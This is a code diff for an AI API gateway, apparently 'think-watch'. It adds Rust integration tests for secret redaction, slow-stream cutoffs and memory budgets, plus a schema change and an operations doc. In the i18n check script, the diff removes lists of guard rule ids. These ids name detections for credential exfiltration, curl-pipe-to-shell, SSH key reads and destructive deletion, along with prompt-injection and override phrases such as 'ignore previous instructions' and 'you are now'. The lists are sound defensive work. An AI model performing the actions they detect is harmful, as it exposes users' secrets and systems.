+    let user = fixtures::create_random_user(&app.db).await.unwrap();
+    let key = fixtures::create_api_key(&app.db, user.user.id, "saved", &["ai_gateway"], None, None)
+        .await
+        .unwrap()
+        .plaintext;
+    let (status, text) = post_as(
+        &app,
+        &key,
+        "/v1/chat/completions",
+        &json!({"model": "saved-key", "messages": [
+            {"role": "user", "content": format!("why does {saved} fail")}
+        ]}),
+    )
+    .await;
+    assert_eq!(status, 200, "{text}");
+    let body = String::from_utf8_lossy(&upstream.received_requests().await[0].body).into_owned();
+    assert!(!body.contains(saved), "{body}");
+    assert!(body.contains("<<TW_SECRET_1>>"), "{body}");
+    assert!(text.contains(saved), "restored for the caller: {text}");
+
+    // The console's trial knows it too, and names the rule, not the value.
+    let con = admin_session(&app).await;
+    let r: Value = con
+        .post(
+            "/api/admin/security/redact/test",
+            json!({"sample": format!("key {saved}")}),
+        )
+        .await
+        .unwrap()
+        .json()
+        .unwrap();
+    assert_eq!(r["hits"][0]["rule"], "thinkwatch-saved-secret", "{r}");
+    assert!(
+        !r["hits"][0]["excerpt"]
+            .as_str()
+            .unwrap_or_default()
+            .contains("saved-upstream"),
+        "{r}"
+    );
+
+    // Unchanged credentials leave the guards as they are; a deactivated
+    // provider takes its credential with it.
+    app.rebuild_gateway_router().await;
+    assert!(std::sync::Arc::ptr_eq(
+        &guards,
+        &app.state.guards.load_full()
+    ));
+    sqlx::query("UPDATE providers SET is_active = false WHERE id = $1")
+        .bind(provider.id)
+        .execute(&app.db)
+        .await
+        .unwrap();
+    app.rebuild_gateway_router().await;
+    assert!(app.state.saved_secrets.load().is_empty());
+    assert!(app.state.guards.load().redaction.rules.saved().is_none());
+}
+
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn an_exception_value_is_added_by_hash_kept_across_settings_writes_and_removed() {
+    let app = TestApp::spawn_with_clickhouse().await;
+    let (con, admin) = admin_session_with_user(&app).await;
+    let admin_id = admin.user.id.to_string();
+    app.set_setting("security.redact", json!({"mode": "enforce"}))
+        .await;
+    let upstream = echo_upstream().await;
+    let (key, _) = seed_route(&app, &upstream.uri(), "redact-exception").await;
+    let path = "/api/admin/security/redact/exceptions";
+
+    let r = con
+        .post(path, json!({"value": format!("  {KEY}\n")}))
+        .await
+        .unwrap();
+    assert_eq!(r.status, 201, "{}", r.text());
+    let added: Value = r.json().unwrap();
+    assert_eq!(added["rule"], "anthropic-api-key");
+    assert_eq!(
+        added["sha256"],
+        tw_guard::redact::exceptions::sha256_hex(KEY),
+        "hashed without the surrounding whitespace"
+    );
+    assert!(!r.text().contains(KEY), "{}", r.text());
+    // Once only.
+    let again = con.post(path, json!({"value": KEY})).await.unwrap();
+    assert_eq!(again.status, 409, "{}", again.text());
+    let empty = con.post(path, json!({"value": "  "})).await.unwrap();
+    assert_eq!(empty.status, 400, "{}", empty.text());
+
+    let list: Value = con.get(path).await.unwrap().json().unwrap();
+    assert_eq!(list["max"], 500);
+    assert_eq!(list["items"].as_array().unwrap().len(), 1);
+    // Stored as the hash and the masked form, never the value.
+    let stored = app
+        .state
+        .dynamic_config
+        .get("security.redact")
+        .await
+        .unwrap();
+    assert!(!stored.to_string().contains(KEY), "{stored}");
+
+    // The console writes the policy back without them: they stay.
+    let r = con
+        .patch(
+            "/api/admin/settings",
+            json!({"settings": {"security.redact": {"mode": "enforce", "disable": ["jwt"]}}}),
+        )
+        .await
+        .unwrap();
+    assert_eq!(r.status, 200, "{}", r.text());
+    let list: Value = con.get(path).await.unwrap().json().unwrap();
+    assert_eq!(list["items"].as_array().unwrap().len(), 1, "{list}");
+
+    // The gateway sends it as it is; the trial says it is an exception.
+    let (status, text) = post_as(
+        &app,
+        &key,
+        "/v1/chat/completions",
+        &json!({"model": "redact-exception", "messages": [
+            {"role": "user", "content": format!("use {KEY}")}
+        ]}),
+    )
+    .await;
+    assert_eq!(status, 200, "{text}");
+    let body = String::from_utf8_lossy(&upstream.received_requests().await[0].body).into_owned();
+    assert!(body.contains(KEY), "{body}");
+    let trial: Value = con
+        .post(
+            "/api/admin/security/redact/test",
+            json!({"sample": format!("key {KEY}")}),
+        )
+        .await
+        .unwrap()
+        .json()
+        .unwrap();
+    assert_eq!(trial["hits"][0]["excepted"], true, "{trial}");
+    assert_eq!(trial["output"], Value::Null, "{trial}");
+
+    // The audit log has the rule and the masked value only.
+    let events = audited(&app, &admin_id, "security.redact_exception_added").await;
+    assert_eq!(events[0]["rule"], "anthropic-api-key");
+    assert!(!events[0].to_string().contains(KEY), "{}", events[0]);
+
+    let sha = added["sha256"].as_str().unwrap();
+    let r = con.delete(&format!("{path}/{sha}")).await.unwrap();
+    assert_eq!(r.status, 200, "{}", r.text());
+    let r = con.delete(&format!("{path}/{sha}")).await.unwrap();
+    assert_eq!(r.status, 404);
+    let list: Value = con.get(path).await.unwrap().json().unwrap();
+    assert!(list["items"].as_array().unwrap().is_empty());
+    let stored = app
+        .state
+        .dynamic_config
+        .get("security.redact")
+        .await
+        .unwrap();
+    assert_eq!(stored, json!({"mode": "enforce", "disable": ["jwt"]}));
+    let events = audited(&app, &admin_id, "security.redact_exception_removed").await;
+    assert_eq!(events[0]["masked"], added["masked"]);
+}
+
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn a_saved_provider_key_cannot_be_an_exception() {
+    use think_watch_common::json_secret::JsonSecret;
+    let app = TestApp::spawn().await;
+    let con = admin_session(&app).await;
+    let saved = "test-saved-upstream-key-0123456789";
+    let enc = JsonSecret::encrypt(&format!("Bearer {saved}"), &app.state.config.encryption_key)
+        .unwrap()
+        .to_json();
+    fixtures::create_provider(
+        &app.db,
+        &unique_name("saved-ex"),
+        "openai",
+        "https://api.example.com/v1",
+        Some(json!({"headers": [{"key": "Authorization", "value": enc}]})),
+    )
+    .await
+    .unwrap();
+    app.rebuild_gateway_router().await;
+    let r = con
+        .post(
+            "/api/admin/security/redact/exceptions",
+            json!({"value": saved}),
+        )
+        .await
+        .unwrap();
+    assert_eq!(r.status, 400, "{}", r.text());
+    assert!(!r.text().contains(saved), "{}", r.text());
+}
diff --git a/crates/test-support/tests/gateway_min_speed.rs b/crates/test-support/tests/gateway_min_speed.rs
new file mode 100644
index 00000000..9e429b45
--- /dev/null
+++ b/crates/test-support/tests/gateway_min_speed.rs
@@ -0,0 +1,389 @@
+//! Cutting a stream its upstream generates too slowly.
+//!
+//! A provider with `min_speed_tokens_per_sec` set has its streams judged
+//! once a second from the first token on: below the minimum over the last
+//! `min_speed_window_secs` (long pauses left out), the stream is
+//! cut with a 503 error in the client's format, the upstream's connection
+//! dropped and the route charged a failure. The upstreams here are paced
+//! servers (`sse_upstream_paced`), so each test takes as long as its
+//! stream: the windows are the shortest allowed.
+
+use std::sync::atomic::Ordering;
+use std::time::{Duration, Instant};
+
+use serde_json::Value;
+use think_watch_test_support::mock_provider::sse_upstream_paced;
+use think_watch_test_support::prelude::*;
+
+/// A model routed to `uri` under a provider that cuts streams below
+/// `tokens_per_sec` over `window_secs`; a key that may call it, and the
+/// route's id.
+async fn seed(
+    app: &TestApp,
+    uri: &str,
+    provider_type: &str,
+    model: &str,
+    tokens_per_sec: i32,
+    window_secs: i32,
+) -> (String, uuid::Uuid) {
+    let user = fixtures::create_random_user(&app.db).await.unwrap();
+    let provider =
+        fixtures::create_provider(&app.db, &unique_name("slow"), provider_type, uri, None)
+            .await
+            .unwrap();
+    sqlx::query(
+        "UPDATE providers SET min_speed_tokens_per_sec = $2, min_speed_window_secs = $3 \
+         WHERE id = $1",
+    )
+    .bind(provider.id)
+    .bind(tokens_per_sec)
+    .bind(window_secs)
+    .execute(&app.db)
+    .await
+    .unwrap();
+    fixtures::create_model_and_route(&app.db, provider.id, model)
+        .await
+        .unwrap();
+    let route_id: uuid::Uuid =
+        sqlx::query_scalar("SELECT id FROM model_routes WHERE provider_id = $1")
+            .bind(provider.id)
+            .fetch_one(&app.db)
+            .await
+            .unwrap();
+    app.rebuild_gateway_router().await;
+    let key = fixtures::create_api_key(
+        &app.db,
+        user.user.id,
+        &unique_name("slow-key"),
+        &["ai_gateway"],
+        None,
+        None,
+    )
+    .await
+    .unwrap()
+    .plaintext;
+    (key, route_id)
+}
+
+fn chat_chunk(model: &str, delta: Value, finish: Option<&str>) -> String {
+    format!(
+        "data: {}\n\n",
+        json!({
+            "id": "chatcmpl-slow",
+            "object": "chat.completion.chunk",
+            "created": 1_700_000_000_i64,
+            "model": model,
+            "choices": [{"index": 0, "delta": delta, "finish_reason": finish}],
+        })
+    )
+}
+
+/// A Chat stream: the opening, then `tokens` ASCII tokens of text in each
+/// `(wait, tokens)` piece, then the end.
+fn chat_stream(model: &str, pieces: &[(f64, usize)]) -> Vec<(Duration, String)> {
+    let mut out = vec![(
+        Duration::ZERO,
+        chat_chunk(model, json!({"role": "assistant"}), None),
+    )];
+    for (wait, tokens) in pieces {
+        out.push((
+            Duration::from_secs_f64(*wait),
+            chat_chunk(model, json!({"content": "abcd".repeat(*tokens)}), None),
+        ));
+    }
+    out.push((
+        Duration::ZERO,
+        [
+            chat_chunk(model, json!({}), Some("stop")),
+            "data: [DONE]\n\n".to_string(),
+        ]
+        .concat(),
+    ));
+    out
+}
+
+fn chat(model: &str) -> Value {
+    json!({"model": model, "stream": true, "messages": [{"role": "user", "content": "hi"}]})
+}
+
+/// The route's failures in the breaker's window, once the stream's tail
+/// has recorded it.
+async fn errors_on(app: &TestApp, route_id: uuid::Uuid) -> u32 {
+    use think_watch_gateway::health::{CircuitBreakerConfig, HealthTracker};
+    let tracker = HealthTracker::new(app.state.redis.clone());
+    let cfg = CircuitBreakerConfig::load(&app.state.dynamic_config).await;
+    for _ in 0..50 {
+        let h = tracker.snapshot(route_id, cfg).await;
+        if h.total > 0 {
+            return h.errors;
+        }
+        tokio::time::sleep(Duration::from_millis(100)).await;
+    }
+    panic!("the stream's outcome was never recorded against the route");
+}
+
+/// One token a second against a minimum of five: cut about five seconds
+/// after the first token, with a Chat error the client can read, the
+/// upstream hung up on, and a failure on the route.
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn a_stream_slower_than_the_minimum_is_cut() {
+    let app = TestApp::spawn().await;
+    let model = "slow-chat";
+    let pieces: Vec<(f64, usize)> = (0..30)
+        .map(|i| (if i == 0 { 0.0 } else { 1.0 }, 1))
+        .collect();
+    let (uri, hung_up) =
+        sse_upstream_paced("/v1/chat/completions", chat_stream(model, &pieces)).await;
+    let (key, route_id) = seed(&app, &uri, "openai", model, 5, 5).await;
+
+    let gw = app.gateway_client();
+    gw.set_bearer(&key);
+    let started = Instant::now();
+    let resp = gw.post("/v1/chat/completions", chat(model)).await.unwrap();
+    let took = started.elapsed();
+    resp.assert_ok();
+    let text = resp.text();
+    assert!(
+        text.contains("abcd"),
+        "the answer so far reaches the client: {text}"
+    );
+    assert!(
+        text.contains("tokens per second over the last 5 seconds, below the minimum of 5."),
+        "{text}"
+    );
+    assert!(!text.contains("[DONE]"), "{text}");
+    assert!(
+        took >= Duration::from_secs(5) && took < Duration::from_secs(12),
+        "cut after {took:?}"
+    );
+    // The error frame is Chat's, with a 503's class.
+    let error: Value = text
+        .lines()
+        .filter_map(|l| l.strip_prefix("data: "))
+        .filter_map(|d| serde_json::from_str::<Value>(d).ok())
+        .find(|v| v.get("error").is_some())
+        .expect("an error frame");
+    assert!(
+        error["error"]["message"]
+            .as_str()
+            .is_some_and(|m| m.starts_with("Upstream `")),
+        "{error}"
+    );
+
+    assert_eq!(errors_on(&app, route_id).await, 1);
+    for _ in 0..20 {
+        if hung_up.load(Ordering::SeqCst) {
+            break;
+        }
+        tokio::time::sleep(Duration::from_millis(100)).await;
+    }
+    assert!(
+        hung_up.load(Ordering::SeqCst),
+        "the upstream was not hung up on"
+    );
+}
+
+/// An Anthropic client is told with Anthropic's error for a 503,
+/// `overloaded_error`, which its SDK retries.
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn an_anthropic_client_is_told_the_upstream_is_overloaded() {
+    let app = TestApp::spawn().await;
+    let model = "slow-claude";
+    let event = |v: Value| format!("event: {}\ndata: {v}\n\n", v["type"].as_str().unwrap());
+    let mut pieces = vec![(
+        Duration::ZERO,
+        [
+            event(json!({"type": "message_start", "message": {
+                "id": "msg_1", "type": "message", "role": "assistant", "model": model,
+                "content": [], "stop_reason": null,
+                "usage": {"input_tokens": 12, "output_tokens": 1}
+            }})),
+            event(json!({"type": "content_block_start", "index": 0,
+                         "content_block": {"type": "text", "text": ""}})),
+        ]
+        .concat(),
+    )];
+    for _ in 0..30 {
+        pieces.push((
+            Duration::from_secs(1),
+            event(json!({"type": "content_block_delta", "index": 0,
+                         "delta": {"type": "text_delta", "text": "abcd"}})),
+        ));
+    }
+    let (uri, _) = sse_upstream_paced("/v1/messages", pieces).await;
+    let (key, _) = seed(&app, &uri, "anthropic", model, 5, 5).await;
+
+    let gw = app.gateway_client();
+    gw.set_bearer(&key);
+    let resp = gw
+        .post(
+            "/v1/messages",
+            json!({"model": model, "max_tokens": 100, "stream": true,
+                   "messages": [{"role": "user", "content": "hi"}]}),
+        )
+        .await
+        .unwrap();
+    resp.assert_ok();
+    let text = resp.text();
+    assert!(text.contains("event: error"), "{text}");
+    assert!(text.contains("overloaded_error"), "{text}");
+    assert!(text.contains("below the minimum of 5."), "{text}");
+}
+
+/// Eight tokens a second against a minimum of five runs to its end.
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn a_stream_at_speed_runs_to_its_end() {
+    let app = TestApp::spawn().await;
+    let model = "fast-chat";
+    let pieces: Vec<(f64, usize)> = (0..16)
+        .map(|i| (if i == 0 { 0.0 } else { 0.5 }, 4))
+        .collect();
+    let (uri, hung_up) =
+        sse_upstream_paced("/v1/chat/completions", chat_stream(model, &pieces)).await;
+    let (key, route_id) = seed(&app, &uri, "openai", model, 5, 5).await;
+
+    let gw = app.gateway_client();
+    gw.set_bearer(&key);
+    let resp = gw.post("/v1/chat/completions", chat(model)).await.unwrap();
+    resp.assert_ok();
+    let text = resp.text();
+    assert!(text.contains("[DONE]"), "{text}");
+    assert!(!text.contains("tokens per second"), "{text}");
+    assert_eq!(errors_on(&app, route_id).await, 0);
+    assert!(!hung_up.load(Ordering::SeqCst));
+}
+
+/// A long pause is the upstream not generating, not generating slowly:
+/// eight tokens a second for 6 s, 8 s of silence, then on. Counting the
+/// pause, the last 10 s would drop below three a second around 13 s.
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn a_long_pause_does_not_cut_the_stream() {
+    let app = TestApp::spawn().await;
+    let model = "pausing-chat";
+    let mut pieces: Vec<(f64, usize)> = (0..13)
+        .map(|i| (if i == 0 { 0.0 } else { 0.5 }, 4))
+        .collect();
+    pieces.push((8.0, 4));
+    pieces.extend((0..4).map(|_| (0.5, 4)));
+    let (uri, _) = sse_upstream_paced("/v1/chat/completions", chat_stream(model, &pieces)).await;
+    let (key, route_id) = seed(&app, &uri, "openai", model, 3, 10).await;
+
+    let gw = app.gateway_client();
+    gw.set_bearer(&key);
+    let resp = gw.post("/v1/chat/completions", chat(model)).await.unwrap();
+    resp.assert_ok();
+    let text = resp.text();
+    assert!(text.contains("[DONE]"), "{text}");
+    assert!(!text.contains("tokens per second"), "{text}");
+    assert_eq!(errors_on(&app, route_id).await, 0);
+}
+
+/// Without a minimum, a slow stream runs as it always did.
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn without_a_minimum_a_slow_stream_is_left_alone() {
+    let app = TestApp::spawn().await;
+    let model = "slow-unlimited";
+    let pieces: Vec<(f64, usize)> = (0..7)
+        .map(|i| (if i == 0 { 0.0 } else { 1.0 }, 1))
+        .collect();
+    let (uri, _) = sse_upstream_paced("/v1/chat/completions", chat_stream(model, &pieces)).await;
+    let user = fixtures::create_random_user(&app.db).await.unwrap();
+    let provider = fixtures::create_provider(&app.db, &unique_name("slow"), "openai", &uri, None)
+        .await
+        .unwrap();
+    fixtures::create_model_and_route(&app.db, provider.id, model)
+        .await
+        .unwrap();
+    app.rebuild_gateway_router().await;
+    let key = fixtures::create_api_key(
+        &app.db,
+        user.user.id,
+        &unique_name("slow-key"),
+        &["ai_gateway"],
+        None,
+        None,
+    )
+    .await
+    .unwrap()
+    .plaintext;
+
+    let gw = app.gateway_client();
+    gw.set_bearer(&key);
+    let resp = gw.post("/v1/chat/completions", chat(model)).await.unwrap();
+    resp.assert_ok();
+    assert!(resp.text().contains("[DONE]"), "{}", resp.text());
+}
+
+/// The console takes the minimum in range, turns it off with `null`, and
+/// refuses one out of range.
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn the_console_sets_and_clears_a_providers_minimum() {
+    let app = TestApp::spawn().await;
+    let con = admin_session(&app).await;
+    let provider = fixtures::create_provider(
+        &app.db,
+        &unique_name("speed"),
+        "openai",
+        "https://api.openai.com",
+        None,
+    )
+    .await
+    .unwrap();
+    let at = format!("/api/admin/providers/{}", provider.id);
+
+    let got = con.get(&at).await.unwrap();
+    got.assert_ok();
+    let v: Value = got.json().unwrap();
+    assert_eq!(v["min_speed_tokens_per_sec"], Value::Null);
+    assert_eq!(v["min_speed_window_secs"], 20);
+
+    let set = con
+        .patch(
+            &at,
+            json!({"min_speed_tokens_per_sec": 15, "min_speed_window_secs": 30}),
+        )
+        .await
+        .unwrap();
+    set.assert_ok();
+    let v: Value = set.json().unwrap();
+    assert_eq!(v["min_speed_tokens_per_sec"], 15);
+    assert_eq!(v["min_speed_window_secs"], 30);
+
+    // Another edit leaves it as it is.
+    let renamed = con
+        .patch(&at, json!({"display_name": "Renamed"}))
+        .await
+        .unwrap();
+    renamed.assert_ok();
+    assert_eq!(
+        renamed.json::<Value>().unwrap()["min_speed_tokens_per_sec"],
+        15
+    );
+
+    for bad in [
+        json!({"min_speed_tokens_per_sec": 0}),
+        json!({"min_speed_tokens_per_sec": 1001}),
+        json!({"min_speed_window_secs": 4}),
+        json!({"min_speed_window_secs": 121}),
+    ] {
+        con.patch(&at, bad.clone())
+            .await
+            .unwrap()
+            .assert_status(400);
+    }
+
+    let cleared = con
+        .patch(&at, json!({"min_speed_tokens_per_sec": null}))
+        .await
+        .unwrap();
+    cleared.assert_ok();
+    let v: Value = cleared.json().unwrap();
+    assert_eq!(v["min_speed_tokens_per_sec"], Value::Null);
+    assert_eq!(v["min_speed_window_secs"], 30);
+}
diff --git a/crates/test-support/tests/resources.rs b/crates/test-support/tests/resources.rs
new file mode 100644
index 00000000..9fe69211
--- /dev/null
+++ b/crates/test-support/tests/resources.rs
@@ -0,0 +1,73 @@
+//! Real Redis decoding and HTTP admission/recovery through the assembled app.
+
+use fred::prelude::*;
+use think_watch_common::resources;
+use think_watch_test_support::prelude::*;
+
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn redis_body_reads_preserve_bytes_and_reservations_until_the_last_clone() {
+    let app = TestApp::spawn().await;
+    let key = unique_name("resource-body");
+    let data = b"\0\xff\"cached JSON\"\xe4\xb8\xad";
+    let _: () = app
+        .state
+        .redis
+        .set(&key, data.as_slice(), None, None, false)
+        .await
+        .unwrap();
+    let budget = resources::body_budget();
+    let baseline = budget.used();
+    let body = resources::cached_body(&app.state.redis, &key)
+        .await
+        .unwrap();
+    assert_eq!(&body[..], data);
+    assert_eq!(
+        budget.used(),
+        baseline + data.len() * resources::BODY_HEADROOM
+    );
+    let copy = body.clone();
+    drop(body);
+    assert!(budget.used() > baseline);
+    drop(copy);
+    assert_eq!(budget.used(), baseline);
+
+    let mut occupied = budget.reserve();
+    assert!(occupied.grow(resources::policy().body_bytes - baseline));
+    assert!(
+        resources::cached_body(&app.state.redis, &key)
+            .await
+            .is_none()
+    );
+    drop(occupied);
+    assert!(
+        resources::cached_body(&app.state.redis, &key)
+            .await
+            .is_some()
+    );
+    let _: () = app.state.redis.del(&key).await.unwrap();
+}
+
+#[ignore = "integration test — run via `make test-it`"]
+#[tokio::test]
+async fn http_body_pressure_is_retryable_and_releases_without_affecting_health() {
+    let app = TestApp::spawn().await;
+    let budget = resources::body_budget();
+    let mut occupied = budget.reserve();
+    assert!(occupied.grow(resources::policy().body_bytes - budget.used()));
+    let gateway = app.gateway_client();
+    let response = gateway
+        .post("/v1/chat/completions", json!({"model":"test"}))
+        .await
+        .unwrap();
+    response.assert_status(429);
+    assert_eq!(response.headers["retry-after"], "1");
+    drop(occupied);
+    let response = gateway
+        .post("/v1/chat/completions", json!({"model":"test"}))
+        .await
+        .unwrap();
+    response.assert_status(401);
+    let health = gateway.get("/health/live").await.unwrap();
+    health.assert_ok();
+}
diff --git a/db/schema.sql b/db/schema.sql
index 00eb4a63..0273116a 100644
--- a/db/schema.sql
+++ b/db/schema.sql
@@ -329,9 +329,25 @@ CREATE TABLE IF NOT EXISTS providers (
     is_active         BOOLEAN NOT NULL DEFAULT TRUE,
     config_json       JSONB DEFAULT '{}',
     created_at        TIMESTAMPTZ NOT NULL DEFAULT now(),
-    deleted_at        TIMESTAMPTZ
+    deleted_at        TIMESTAMPTZ,
+    -- The slowest generation this upstream may keep a stream at: once
+    -- its first token is in, a stream that averages fewer than
+    -- `min_speed_tokens_per_sec` over the last `min_speed_window_secs`
+    -- seconds (long pauses and summarised reasoning left out) is cut
+    -- with a 503 and counted against the route. NULL ⇒ off. See
+    -- crates/gateway/src/proxy/min_speed.rs.
+    min_speed_tokens_per_sec INT
+        CHECK (min_speed_tokens_per_sec IS NULL OR min_speed_tokens_per_sec BETWEEN 1 AND 1000),
+    min_speed_window_secs    INT NOT NULL DEFAULT 20
+        CHECK (min_speed_window_secs BETWEEN 5 AND 120)
 );
 
+-- Added after first boot; see the note above `model_routes`'s ALTER.
+ALTER TABLE providers ADD COLUMN IF NOT EXISTS min_speed_tokens_per_sec
+    INT CHECK (min_speed_tokens_per_sec IS NULL OR min_speed_tokens_per_sec BETWEEN 1 AND 1000);
+ALTER TABLE providers ADD COLUMN IF NOT EXISTS min_speed_window_secs
+    INT NOT NULL DEFAULT 20 CHECK (min_speed_window_secs BETWEEN 5 AND 120);
+
 CREATE INDEX IF NOT EXISTS idx_providers_not_deleted ON providers(created_at) WHERE deleted_at IS NULL;
 
 -- Exposed catalog of model IDs clients can call via `/v1/models`.
diff --git a/deploy/helm/think-watch/Chart.yaml b/deploy/helm/think-watch/Chart.yaml
index 8ffa1c3d..5dddbe5f 100644
--- a/deploy/helm/think-watch/Chart.yaml
+++ b/deploy/helm/think-watch/Chart.yaml
@@ -2,8 +2,8 @@ apiVersion: v2
 name: think-watch
 description: Enterprise AI API Gateway & MCP Management Platform
 type: application
-version: 3.10.0
-appVersion: "3.10.0"
+version: 3.11.0
+appVersion: "3.11.0"
 keywords:
   - ai
   - gateway
diff --git a/docs/operations/resources.md b/docs/operations/resources.md
new file mode 100644
index 00000000..57a3e49d
--- /dev/null
+++ b/docs/operations/resources.md
@@ -0,0 +1,66 @@
+# Automatic process resources
+
+The server sizes its execution and buffering policy at startup. No configuration
+change is required. CPU availability includes the process affinity and container
+CPU quota. Memory uses the smaller of physical RAM and the cgroup v1/v2 memory
+limit, including ancestor limits.
+
+## Execution
+
+The I/O runtime keeps at most eight workers. Large or concurrent JSON decoding,
+protocol conversion, redaction and content inspection use elastic blocking
+execution. CPU admission is shared with password hashing: at most one job per
+available CPU, further limited to one job per 128 MiB of memory allowance.
+An 80 CPU server with sufficient memory can execute 80 jobs concurrently.
+Extra execution threads retire after ten idle seconds.
+
+Argon2 also has its own memory admission: one concurrent hash per 32 MiB within
+one eighth of the memory allowance, with a minimum of one. Cancelling an HTTP
+request does not release a hash's admission until that hash actually finishes.
+The existing `TOKIO_WORKER_THREADS` override remains supported.
+
+The server uses mimalloc with transparent huge pages disabled. On Linux it also
+applies a process-local THP policy before creating runtime threads. This needs
+no host sysctl or environment changes.
+
+## Buffered bodies and streams
+
+Requests, upstream AI/MCP responses, Redis cache reads and retained streaming
+timelines share one byte budget: one quarter of the memory allowance, between
+8 MiB and 8 GiB. Reservations allow 32 times the wire size for decoded JSON,
+conversion, inspection and capture copies. A single response or stream timeline
+is limited to the smaller of 64 MiB and one thirty-second of that budget.
+The existing gateway 10 MiB and console 1 MiB request limits still apply.
+Error bodies and credential endpoint responses have a separate per-read 64 KiB
+limit and use the same shared budget. MCP tool discovery, provider and registry
+catalogs, OAuth discovery, audit forwarder errors and S3 reads also use bounded
+reads, so administrative/background requests cannot bypass admission on ingress.
+
+Admission is incremental, including chunked responses. Readers reject growth
+before appending rather than waiting while holding partial bodies. Reservations
+follow shared buffers through transformations, slow clients, cancellation and
+detached stream audit work. Cache reads reserve before fetching and use bounded
+Redis reads even if a key changes between the size check and fetch.
+
+Memory pressure produces HTTP 429 with `Retry-After: 1` before streaming starts.
+Already-started streams terminate with an error event (MCP code `-32005`).
+Local pressure does not count as an upstream failure for circuit breakers.
+Oversized requests return 413; oversized buffered upstream responses fail rather
+than allocating without a bound. Cache reads under pressure become misses.
+
+## Audit backlog
+
+Queued audit entries and retained ClickHouse retry batches share a separate byte
+budget: one sixteenth of the memory allowance, between 2 MiB and 128 MiB. The
+estimate includes owned strings, JSON allocations and room for temporary flush
+copies. The existing 100,000 entry queue limit is a secondary bound.
+When full, the logger drops new entries and emits a throttled error.
+
+Monitor `audit_log_buffered_bytes`, `audit_log_memory_dropped_total`,
+`audit_log_dropped_total` and `gateway_memory_busy_total` alongside the existing
+queue-depth metrics. A drop requires operational attention, especially when
+ClickHouse is unavailable for an extended period.
+
+These budgets estimate application allocations; they are not a hard RSS cap.
+Connection state, database pools, configuration, stacks and allocator overhead
+also consume memory. Deployment memory and CPU limits remain authoritative.
diff --git a/web/package.json b/web/package.json
index 266747ef..6779652d 100644
--- a/web/package.json
+++ b/web/package.json
@@ -1,7 +1,7 @@
 {
   "name": "web",
   "private": true,
-  "version": "3.10.0",
+  "version": "3.11.0",
   "type": "module",
   "packageManager": "pnpm@12.14.0",
   "scripts": {
diff --git a/web/scripts/check-i18n.mjs b/web/scripts/check-i18n.mjs
index 1faab331..28bbdd00 100644
--- a/web/scripts/check-i18n.mjs
+++ b/web/scripts/check-i18n.mjs
@@ -31,54 +31,24 @@ const zhPath = join(webRoot, 'src/i18n/zh.json');
 // If a source file's dynamic pattern isn't listed here, it falls back to
 // being reported as "skipped" so the author is prompted to add it.
 
-// The security page (src/routes/gateway/security/). Guard and rule ids
-// mirror the rule view `GET /api/admin/security` returns (thinkwatch-core's
-// tw-guard); a rule core ships before the console names it falls back to the
-// server's English.
+// The security page (src/routes/gateway/security/). Guard ids mirror the
+// rule view `GET /api/admin/security` returns (thinkwatch-core's tw-guard).
 const GUARD_IDS = ['redact', 'inspect_tools', 'content'];
 const GUARD_COPY = [
   'name', 'lead', 'nowEnforce', 'testTitle', 'createTitle', 'editTitle',
   'nameHint', 'namePlaceholder', 'samplePlaceholder',
 ];
 const RULE_ACTIONS = ['placeholder', 'cut', 'block', 'strip', 'replace', 'record'];
-const REDACT_RULE_IDS = [
-  'anthropic-api-key', 'openai-project-key', 'openai-api-key',
-  'github-personal-token', 'github-oauth-token', 'github-server-token',
-  'github-user-token', 'github-fine-grained-token', 'slack-bot-token',
-  'slack-user-token', 'slack-app-token', 'aws-access-key-id',
-  'aws-temporary-key-id', 'google-api-key', 'google-oauth-token',
-  'gitlab-token', 'stripe-live-key', 'stripe-restricted-key', 'npm-token',
-  'digitalocean-token', 'sendgrid-key', 'private-key', 'jwt',
-  'conn-string-password', 'cn-resident-id', 'bank-card', 'email',
-  'cn-mobile-phone', 'internal-ip', 'internal-domain',
-];
-const TOOL_RULE_IDS = [
-  'curl-pipe-sh', 'base64-decode-exec', 'exfil-env', 'exfil-credentials',
-  'exfil-credentials-reversed', 'ssh-key-read', 'secret-to-unknown-host',
-  'thinkwatch-data', 'write-startup-item', 'crontab-install', 'rm-rf-root', 'chmod-777',
-  'upload-file-to-host',
-];
-const INVISIBLE_RULE_IDS = ['unicode-tags', 'bidi-controls', 'zero-width', 'private-use'];
-const CONTENT_RULE_IDS = [
-  ...INVISIBLE_RULE_IDS,
-  'ignore-previous-instructions', 'ignore-all-previous',
-  'disregard-your-instructions', 'jailbreak', 'dan', 'developer-mode',
-  'you-are-now', 'new-persona', 'act-as', 'pretend-to-be', 'system-prompt',
-  'reveal-your-instructions', 'what-are-your-rules', 'base64-wall',
-  'zh-ignore-previous', 'zh-forget-your', 'zh-do-not-follow',
-  'zh-you-are-now', 'zh-role-play', 'zh-reveal-your', 'zh-system-prompt',
-  'zh-jailbreak',
-];
+
+// Rule names, reasons, descriptions and group names come with the rule view
+// from thinkwatch-core in both languages (`name_zh`, `why_zh`, `about_zh`,
+// `kinds`); the console keeps no table of them.
 
 const DYNAMIC_ENUMS = {
   ...Object.fromEntries(
     GUARD_COPY.map((field) => ['contentSecurity.guard.${_}.' + field, GUARD_IDS]),
   ),
   'contentSecurity.summary.${_}': ['enforce', 'observe', 'off'],
-  'contentSecurity.kind.${_}': [
-    'api-keys', 'private-keys', 'jwt', 'conn-strings', 'personal', 'internal',
-    'command', 'injection', 'persona', 'chinese', 'invisible', 'custom',
-  ],
   'contentSecurity.ruleAction.${_}': RULE_ACTIONS,
   'contentSecurity.mode.${_}': ['enforce', 'observe', 'off'],
   'contentSecurity.now.${_}': ['observe', 'off'],
@@ -86,14 +56,8 @@ const DYNAMIC_ENUMS = {
   'contentSecurity.scopeChoice.${_}': ['request', 'response', 'both'],
   'contentSecurity.dialog.testAsSide.${_}': ['request', 'response'],
   'contentSecurity.dialog.modeNote.${_}': ['observe', 'off'],
-  'contentSecurity.redactRule.${_}': REDACT_RULE_IDS,
-  'contentSecurity.toolRule.${_}.name': TOOL_RULE_IDS,
